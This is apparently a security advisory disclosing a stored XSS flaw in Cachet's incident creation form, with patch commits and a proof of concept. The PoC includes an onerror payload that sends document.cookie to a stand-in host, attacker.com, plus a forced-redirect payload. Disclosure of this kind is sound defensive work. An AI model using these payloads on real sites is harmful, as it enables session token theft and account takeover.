Cachet is an open-source status page system. Versions 2.4.1 and earlier have a stored Cross-Site Scripting (XSS) vulnerability in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. Commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2 in `cachethq/core` patch the issue.

Affected: Packagist: cachethq/cachet

### Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.

### Details The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.

Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3

### PoC

1. Log in as an authenticated user 2. Navigate to /dashboard/incidents/ 3. Create a new incident 4. Insert the following payloads in the Name and Message field:

Payload 1 — Confirm XSS execution: ```<img src=x onerror="alert(1)">```

Step 2 — Cookie/token exfiltration: ```<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">```

Step 3 — Forced redirect to sensitive page: ```<img src=x onerror="window.location='/dashboard/manage-customization'">```

5. Save the incident 6. Navigate to the public status page 7. Payload executes in the victim's browser ### Payload 1 <img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />

### Payload 2 <img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/as…